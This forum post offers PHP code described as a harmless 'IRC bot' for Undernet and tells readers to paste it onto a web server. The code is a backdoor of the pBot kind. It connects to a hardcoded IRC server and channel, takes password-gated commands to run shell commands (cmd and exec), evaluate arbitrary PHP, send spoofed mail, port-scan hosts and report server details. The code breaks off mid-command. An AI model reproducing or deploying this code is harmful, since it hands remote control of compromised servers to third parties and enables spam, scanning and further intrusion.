Jump to content
xisto Community
Sign in to follow this  
scara

Php Irc Bot A php irc bot to connect to undernet :)

Recommended Posts

Create a php file and paste this code to it,and then putt-it on a php webserver.

set_time_limit(0);error_reporting(0);class pBot{var $config = array("server"=>"64.18.128.86","port"=>6667,"pass"=>"parola","prefix"=>"NasaGov","maxrand"=>8,"chan"=>"#nasa","key"=>"pola","modes"=>"+iB-x","password"=>"parola","trigger"=>"Elias-","hostauth"=>"*" // * for any hostname);var $users = array();function start(){if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))$this->start();$ident = "";$alph = range("a","z");for($i=0;$i<$this->config['maxrand'];$i++)$ident .= $alph[rand(0,25)];if(strlen($this->config['pass'])>0)$this->send("PASS ".$this->config['pass']);$this->send("USER $ident 127.0.0.1 localhost :$ident");$this->set_nick();$this->main();}function main(){while(!feof($this->conn)){$this->buf = trim(fgets($this->conn,512));$cmd = explode(" ",$this->buf);if(substr($this->buf,0,6)=="PING :"){$this->send("PONG :".substr($this->buf,6));}if(isset($cmd[1]) && $cmd[1] =="001"){$this->send("MODE ".$this->nick." ".$this->config['modes']);$this->join($this->config['chan'],$this->config['key']);}if(isset($cmd[1]) && $cmd[1]=="433"){$this->set_nick();}if($this->buf != $old_buf){$mcmd = array();$msg = substr(strstr($this->buf," :"),2);$msgcmd = explode(" ",$msg);$nick = explode("!",$cmd[0]);$vhost = explode("@",$nick[1]);$vhost = $vhost[1];$nick = substr($nick[0],1);$host = $cmd[0];if($msgcmd[0]==$this->nick){for($i=0;$i$mcmd[$i] = $msgcmd[$i+1];}else{for($i=0;$i$mcmd[$i] = $msgcmd[$i];}if(count($cmd)>2){switch($cmd[1]){case "QUIT":if($this->is_logged_in($host)){$this->log_out($host);}break;case "PART":if($this->is_logged_in($host)){$this->log_out($host);}break;case "PRIVMSG":if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")){if(substr($mcmd[0],0,1)=="."){switch(substr($mcmd[0],1)){case "user":if($mcmd[1]==$this->config['password']){$this->privmsg($this->config['chan'],"[2auth2]: $nick logged in");$this->log_in($host);}else{$this->privmsg($this->config['chan'],"[2auth2]: Incorrect password from $nick");}break;}}}elseif($this->is_logged_in($host)){if(substr($mcmd[0],0,1)=="."){switch(substr($mcmd[0],1)){case "restart":$this->send("QUIT :restart");fclose($this->conn);$this->start();break;case "mail": //mail to from subject messageif(count($mcmd)>4){$header = "From: <".$mcmd[2].">";if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)){$this->privmsg($this->config['chan'],"[2mail2]: Unable to send");}else{$this->privmsg($this->config['chan'],"[2mail2]: Message sent to 2".$mcmd[1]."2");}}break;case "dns":if(isset($mcmd[1])){$ip = explode(".",$mcmd[1]);if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])){$this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));}else{$this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));}}break;case "info":$this->privmsg($this->config['chan'],"[2info2]: [2httpd2: ".$_SERVER['SERVER_SOFTWARE']. wrote:[/b] [2docroot2: ".$_SERVER['DOCUMENT_ROOT']. wrote:[/b] [2domain2: ".$_SERVER['SERVER_NAME']. wrote:[/b] [2admin2: ".$_SERVER['SERVER_ADMIN']. wrote:[/b] [2url2:".$_SERVER['REQUEST_URI']. wrote:[/b] ");break;case "cmd":if(isset($mcmd[1])){$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);$this->privmsg($this->config['chan'],"[2cmd2]: $command");$pipe = popen($command,"r");while(!feof($pipe)){$pbuf = trim(fgets($pipe,512));if($pbuf != NULL)$this->privmsg($this->config['chan']," : $pbuf");}pclose($pipe);}break;case "rndnick":$this->set_nick();break;case "raw":$this->send(strstr($msg,$mcmd[1]));break;case "php":$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));break;case "exec":$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);$exec = shell_exec($command);$ret = explode("n",$exec);$this->privmsg($this->config['chan'],"[2exec2]: $command");for($i=0;$iif($ret[$i]!=NULL)$this->privmsg($this->config['chan']," : ".trim($ret[$i]));break;case "pscan": // .pscan 127.0.0.1 6667if(count($mcmd) > 2){if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))$this->privmsg($this->config['chan'],"[2pscan2]: ".$mcmd[1].":".$mcmd[2]." is 2open2");else$this->privmsg($this->config['chan'],"[2pscan2]: ".$mcmd[1].":".$mcmd[2]." is 2closed2");}break;case "ud.server": // .udserver

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×
×
  • Create New...

Important Information

Terms of Use | Privacy Policy | Guidelines | We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.